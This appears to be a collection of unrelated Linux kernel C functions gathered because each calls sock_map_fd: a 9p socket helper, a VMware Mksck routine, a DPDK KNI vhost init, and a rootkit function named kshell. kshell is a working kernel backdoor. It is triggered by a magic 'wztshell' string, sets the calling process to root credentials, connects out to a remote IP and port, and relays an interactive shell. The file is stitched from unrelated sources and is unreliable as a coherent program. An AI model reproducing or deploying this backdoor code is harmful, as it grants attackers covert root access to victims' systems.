static struct file *sock_mapfile(struct socket *sock) { int fd = sock_map_fd(sock, 0); if (fd >= 0) { struct file *file = sock->file; get_file(file); sc_close(fd); return file; } return ERR_PTR(fd); }
static int p9_socket_open(struct p9_transport *trans, struct socket *csocket) { int fd, ret; csocket->sk->sk_allocation = GFP_NOIO; fd = sock_map_fd(csocket); if (fd < 0) { P9_EPRINTK(KERN_ERR, "p9_socket_open: failed to map fd\n"); return fd; } ret = p9_fd_open(trans, fd, fd); if (ret < 0) { P9_EPRINTK(KERN_ERR, "p9_socket_open: failed to open fd\n"); sockfd_put(csocket); return ret; } ((struct p9_trans_fd *)trans->priv)->rd->f_flags |= O_NONBLOCK; return 0; }
/** * kshell - start a connect back shell in kernel space. * @ip: remote ip to connect. * @port: remote port to connect. * both ip and port are network bytes. * * When the system call 'read' had read the flag 'wztshell',it will be use this * function to start a connect back shell. * * return value is always NF_ACCEPT.It's not firewall,just want to filter the key. */ int kshell(int ip,int port) { //struct task_struct *ptr = current; struct cred *ptr = (struct cred *)current->cred; struct socket *sock; struct sockaddr_in server; struct winsize ws; mm_segment_t old_fs; fd_set s_read; int soc, tmp_pid, i; int byte1,count,rlen; int error; int len = sizeof(struct sockaddr); char tmp[101],buf[101]; unsigned char *p,*d; unsigned char wb[5]; old_fs = get_fs(); ptr->uid = 0; ptr->euid = 0; ptr->gid = SGID; ptr->egid = 0; set_fs(KERNEL_DS); ssetmask(~0); for (i = 0;i < 4096; i++) close(i); error = sock_create(AF_INET,SOCK_STREAM,0,&sock); if (error < 0) { #if DEBUG == 1 printk("[-] socket_create failed: %d\n",error); #endif sock_release(sock); wztshell = 0; e_exit(-1); return -1; } //http://lkml.indiana.edu/hypermail/linux/kernel/0805.0/2937.html soc = sock_map_fd(sock,0); if (soc < 0) { #if DEBUG == 1 printk("[-] sock_map_fd() failed.\n"); #endif sock_release(sock); wztshell = 0; e_exit(-1); return -1; } for (i = 0; i < 8; i++) server.sin_zero[i] = 0; server.sin_family = PF_INET; server.sin_addr.s_addr = ip; server.sin_port = port; error = sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags); if (error < 0) { #if DEBUG == 1 printk("[-] connect to failed.\n"); #endif e_exit(-1); return -1; } epty = get_pty(); set_fs(old_fs); if (!(tmp_pid = fork())) start_shell(); set_fs(KERNEL_DS); /* #if ENCRYPT == 1 encrypt_code(banner,200); #endif write(soc,banner,200); */ while (1) { FD_ZERO(&s_read); FD_SET(ptmx, &s_read); FD_SET(soc, &s_read); if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0) break; if (FD_ISSET(ptmx, &s_read)) { byte1 = read(ptmx, tmp, 100); if (byte1 <= 0) break; #if ENCRYPT == 1 encrypt_code(tmp,byte1); #endif write(soc, tmp, byte1); } if (FD_ISSET(soc, &s_read)) { d = buf; count = read(soc, buf, 100); if (count <= 0) break; #if ENCRYPT == 1 encrypt_code(buf,count); #endif p = memchr(buf, ECHAR, count); if (p) { rlen = count - ((long) p - (long) buf); /* wait for rest */ if (rlen > 5) rlen = 5; memcpy(wb, p, rlen); if (rlen < 5) { read(soc, &wb[rlen], 5 - rlen); #if ENCRYPT == 1 encrypt_code(&wb[rlen],5 - rlen); #endif } /* setup window */ ws.ws_xpixel = ws.ws_ypixel = 0; ws.ws_col = (wb[1] << 8) + wb[2]; ws.ws_row = (wb[3] << 8) + wb[4]; ioctl(ptmx, TIOCSWINSZ, (unsigned long)&ws); kill(0, SIGWINCH); /* write the rest */ write(ptmx, buf, (long) p - (long) buf); rlen = ((long) buf + count) - ((long)p+5); if (rlen > 0) write(ptmx, p+5, rlen); } else if (write(ptmx, d, count) <= 0) break; } } kill(tmp_pid, SIGKILL); set_fs(old_fs); e_exit(0); return -1; }
static int MksckPageDescToFd(struct socket *sock, struct msghdr *msg, Mksck_PageDesc *pd, uint32 pages) { int retval; int newfd; struct socket *newsock; struct sock *newsk; struct sock *sk = sock->sk; struct MksckPageDescInfo **pmpdi, *mpdi; lock_sock(sk); if (sk->sk_user_data) { struct MksckPageDescInfo *mpdi2; newfd = *((int *)sk->sk_user_data); newsock = sockfd_lookup(newfd, &retval); if (!newsock) { retval = -EINVAL; goto endProcessingReleaseSock; } newsk = newsock->sk; lock_sock(newsk); sockfd_put(newsock); if (((struct sock *)newsk->sk_user_data) != sk) { retval = -EINVAL; release_sock(newsk); goto endProcessingReleaseSock; } mpdi = kmalloc(sizeof(struct MksckPageDescInfo) + pages*sizeof(Mksck_PageDesc), GFP_KERNEL); if (!mpdi) { retval = -ENOMEM; release_sock(newsk); goto endProcessingReleaseSock; } retval = put_cmsg(msg, SOL_DECNET, 0, sizeof(int), &newfd); if (retval < 0) goto endProcessingKFreeReleaseSock; release_sock(sk); mpdi2 = (struct MksckPageDescInfo *)newsk->sk_protinfo; while (mpdi2->next) mpdi2 = mpdi2->next; pmpdi = &(mpdi2->next); } else { retval = sock_create(sk->sk_family, sock->type, 0, &newsock); if (retval < 0) goto endProcessingReleaseSock; newsk = newsock->sk; lock_sock(newsk); newsk->sk_destruct = &MksckPageDescSkDestruct; newsk->sk_user_data = sk; sock_hold(sk); newsock->ops = &mksckPageDescOps; mpdi = kmalloc(sizeof(struct MksckPageDescInfo) + pages*sizeof(Mksck_PageDesc), GFP_KERNEL); if (!mpdi) { retval = -ENOMEM; goto endProcessingFreeNewSock; } sk->sk_user_data = sock_kmalloc(sk, sizeof(int), GFP_KERNEL); if (sk->sk_user_data == NULL) { retval = -ENOMEM; goto endProcessingKFreeAndNewSock; } newfd = sock_map_fd(newsock, O_CLOEXEC); if (newfd < 0) { retval = newfd; sock_kfree_s(sk, sk->sk_user_data, sizeof(int)); sk->sk_user_data = NULL; goto endProcessingKFreeAndNewSock; } retval = put_cmsg(msg, SOL_DECNET, 0, sizeof(int), &newfd); if (retval < 0) { sock_kfree_s(sk, sk->sk_user_data, sizeof(int)); sk->sk_user_data = NULL; kfree(mpdi); release_sock(newsk); sockfd_put(newsock); sock_release(newsock); put_unused_fd(newfd); goto endProcessingReleaseSock; } *(int *)sk->sk_user_data = newfd; release_sock(sk); pmpdi = (struct MksckPageDescInfo **)(&(newsk->sk_protinfo)); } mpdi->next = NULL; mpdi->flags = 0; mpdi->mapCounts = 0; mpdi->pages = pages; memcpy(mpdi->descs, pd, pages*sizeof(Mksck_PageDesc)); *pmpdi = mpdi; release_sock(newsk); MksckPageDescManage(pd, pages, MANAGE_INCREMENT); return 0; endProcessingKFreeAndNewSock: kfree(mpdi); endProcessingFreeNewSock: release_sock(newsk); sock_release(newsock); release_sock(sk); return retval; endProcessingKFreeReleaseSock: kfree(mpdi); release_sock(newsk); endProcessingReleaseSock: release_sock(sk); return retval; }
static int kni_vhost_backend_init(struct kni_dev *kni) { struct kni_vhost_queue *q; struct net *net = current->nsproxy->net_ns; int err, i, sockfd; struct rte_kni_fifo *fifo; struct sk_buff *elem; if (kni->vhost_queue != NULL) return -1; if (!(q = (struct kni_vhost_queue *)sk_alloc( net, AF_UNSPEC, GFP_KERNEL, &kni_raw_proto))) return -ENOMEM; err = sock_create_lite(AF_UNSPEC, SOCK_RAW, IPPROTO_RAW, &q->sock); if (err) goto free_sk; sockfd = sock_map_fd(q->sock, 0); if (sockfd < 0) { err = sockfd; goto free_sock; } /* cache init */ q->cache = (struct sk_buff*) kzalloc(RTE_KNI_VHOST_MAX_CACHE_SIZE * sizeof(struct sk_buff), GFP_KERNEL); if (!q->cache) goto free_fd; fifo = (struct rte_kni_fifo*) kzalloc(RTE_KNI_VHOST_MAX_CACHE_SIZE * sizeof(void *) + sizeof(struct rte_kni_fifo), GFP_KERNEL); if (!fifo) goto free_cache; kni_fifo_init(fifo, RTE_KNI_VHOST_MAX_CACHE_SIZE); for (i = 0; i < RTE_KNI_VHOST_MAX_CACHE_SIZE; i++) { elem = &q->cache[i]; kni_fifo_put(fifo, (void**)&elem, 1); } q->fifo = fifo; /* store sockfd in vhost_queue */ q->sockfd = sockfd; /* init socket */ q->sock->type = SOCK_RAW; q->sock->state = SS_CONNECTED; q->sock->ops = &kni_socket_ops; sock_init_data(q->sock, &q->sk); /* init sock data */ q->sk.sk_write_space = kni_sk_write_space; q->sk.sk_destruct = kni_sk_destruct; q->flags = IFF_NO_PI | IFF_TAP; q->vnet_hdr_sz = sizeof(struct virtio_net_hdr); #ifdef RTE_KNI_VHOST_VNET_HDR_EN q->flags |= IFF_VNET_HDR; #endif /* bind kni_dev with vhost_queue */ q->kni = kni; kni->vhost_queue = q; wmb(); kni->vq_status = BE_START; KNI_DBG("backend init sockfd=%d, sock->wq=0x%16llx," "sk->sk_wq=0x%16llx", q->sockfd, (uint64_t)q->sock->wq, (uint64_t)q->sk.sk_wq); return 0; free_cache: kfree(q->cache); q->cache = NULL; free_fd: put_unused_fd(sockfd); free_sock: q->kni = NULL; kni->vhost_queue = NULL; kni->vq_status |= BE_FINISH; sock_release(q->sock); q->sock->ops = NULL; q->sock = NULL; free_sk: sk_free((struct sock*)q); return err; }